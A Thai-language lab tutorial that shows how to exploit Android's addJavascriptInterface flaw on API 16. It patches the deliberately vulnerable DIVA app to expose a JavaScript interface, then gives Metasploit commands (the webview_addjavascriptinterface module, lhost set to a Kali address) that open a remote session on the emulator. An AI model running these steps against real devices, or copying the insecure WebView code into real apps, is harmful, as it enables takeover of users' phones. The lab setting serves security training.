How to exploit the “addJavascriptInterface” vulnerability

บทนำ (Overview)

บทความนี้อธิบายถึงการโจมตีช่องโหว่ของการที่นักพัฒนาใช้งาน “addJavascriptInterface” แต่การที่จะสำเร็จได้นั้นก็ขึ้นอยู่ API < 17 ซึ่งในปัจจุบันเครื่องต่าง ๆ มี “Android version” มากกว่า “4.2” และ “>17” อยู่แล้ว แต่อย่างไรก็ตามในตัวการใช้งานฟังก์ชันสำหรับการพัฒนาโปรแกรมก็ยังแนะนำให้ปิดร่วมกับ “setJavaScriptEnabled” ถ้าไม่จำเป็นต้องใช้ แต่ถ้าจำเป็นต้องใช้งานจริง ๆ ตัว “Website” ที่นำมาใช้กับ “Webview” นั้น ๆ จะต้อง “Manage” จัดการเองได้ไม่มี “Third Party” เข้ามาร่วมด้วย เพื่อลดความเสี่ยงลง

วัตถุประสงค์ของ “addJavascriptInterface API” ก็เพื่อให้ “Webview” สามารถที่จะใช้ “JavaScript code” เรียกใช้งาน “Java’s code” ของ “Android” ได้ เพราะฉะนั้นโปรแกรมจะต้อง “Register” ในส่วนของ “Java object” ต่าง ๆ ไว้ก่อน ผ่าน “API” ดังกล่าวเสียก่อน และทุก ๆ “Public Method” ใน  “Java Object” นั้น ๆ สามารถถูกเรียกได้จาก “JavaScript” ภายใน “Webview”

ขั้นตอน (Steps)

  1. ติดตั้งโปรแกรม How to install Android Studio เราจะใช้เพื่อติดตั้ง “Android” ที่มี “Version” ต่ำกว่า < 4.2 (API Level 17)
  2. สำหรับบทความนี้สร้าง “AVD” ของ “Nexus 5X API 16 Android 4.1 ” How to start Android Emulator (AVD)
  3. เราจะสร้างโปรแกรมให้มีช่องโหว่โดยเพิ่ม “Code” ของ “addJavascriptInterface” เข้าไป โดยแก้ไข “Source Code” ของโปรแกรมช่องโหว่ “DIVA” ในส่วน “InputValidation2URISchemeActivity”
    package jakhar.aseem.diva;
    
    import android.app.AlertDialog;
    import android.content.DialogInterface;
    import android.support.v7.app.AppCompatActivity;
    import android.os.Bundle;
    import android.util.Log;
    import android.view.View;
    import android.webkit.WebSettings;
    import android.webkit.WebView;
    import android.webkit.WebViewClient;
    import android.widget.EditText;
    
    //Import JavaScriptInterface เข้ามา
    import android.webkit.JavascriptInterface;
    
    public class InputValidation2URISchemeActivity extends AppCompatActivity {
    
        @Override
        protected void onCreate(Bundle savedInstanceState) {
            super.onCreate(savedInstanceState);
    
            setContentView(R.layout.activity_input_validation2_urischeme);
            WebView wview = (WebView) findViewById(R.id.ivi2wview);
            WebSettings wset = wview.getSettings();
            wset.setJavaScriptEnabled(true);
        }
    
        public void get(View view) {
            EditText uriText = (EditText) findViewById(R.id.ivi2uri);
            WebView wview = (WebView) findViewById(R.id.ivi2wview);
    
            //เพิ่ม Medthod ของ addJavascriptInterface ที่เป็นช่องโหว่
            wview.addJavascriptInterface(new JavaScriptInterface(), "TEST");
            wview.setWebViewClient(new WebViewClient() {
                @Override
                public boolean shouldOverrideUrlLoading(WebView view, String url) {
                    view.loadUrl(url);
                    return true;
                }
    
                @Override
                public void onPageFinished(WebView view, String url) {
                    //Javascript
                }
            });
    
            wview.loadUrl(uriText.getText().toString());
        }
        
        //สร้าง Class สำหรับ Register Java Object
        public class JavaScriptInterface {
            @JavascriptInterface
            public void processHTML(String html)
            {
            }
    
        }
    }
    
  4. เมื่อเราได้โปรแกรมที่มีช่องโหว่เรียบร้อยแล้ว ให้ลอง “Run Emulator” ขึ้นมาโดยกดปุ่ม “Play” ดังรูป android-javascriptinterface-01
  5. ให้ไปที่เมนูที่ชื่อ “8. Input Validation Issues – Part2” ทิ้งไว้ก่อนดังรูป android-javascriptinterface-02
  6. ใช้งาน Kali เพื่อสร้าง URL สำหรับ Exploit โดยเริ่มจากตรวจสอบ IP ของ Kali เสียก่อน
    ifconfig
    
  7. จากนั้นเรียกใช้งาน “Metasploit” โดยใช้คำสั่ง
    msfconsole
    
  8. เรียกใช้งาน “Exploit” ดังนี้
    use exploit/android/browser/webview_addjavascriptinterface 
    
  9. ตั้งค่าต่าง ๆ ให้เรียบร้อย
    //IP ของ Kali 
    set lhost 192.168.1.36
    
    //Fix Path
    set uripath test
    
    //เริ่มต้นเปิด Listener และ Url สำหรับ exploit
    exploit
    

    android-javascriptinterface-03

  10. ให้เอา “URL” ที่ “Local IP” ไปใส่ในโปรแกรมช่องโหว่ที่เราสร้างขึ้น จะพบว่ามีการ “Session” เกิดขึ้น android-javascriptinterface-04
  11. เราสามารถเข้าถึงเครื่อง “Android” ได้ผ่านช่องโหว่ดังกล่าว ส่วนคำสั่งอื่นๆ สามารถติดตามได้จากบทความ How to exploit Android with Kali

 

 

ใส่ความเห็น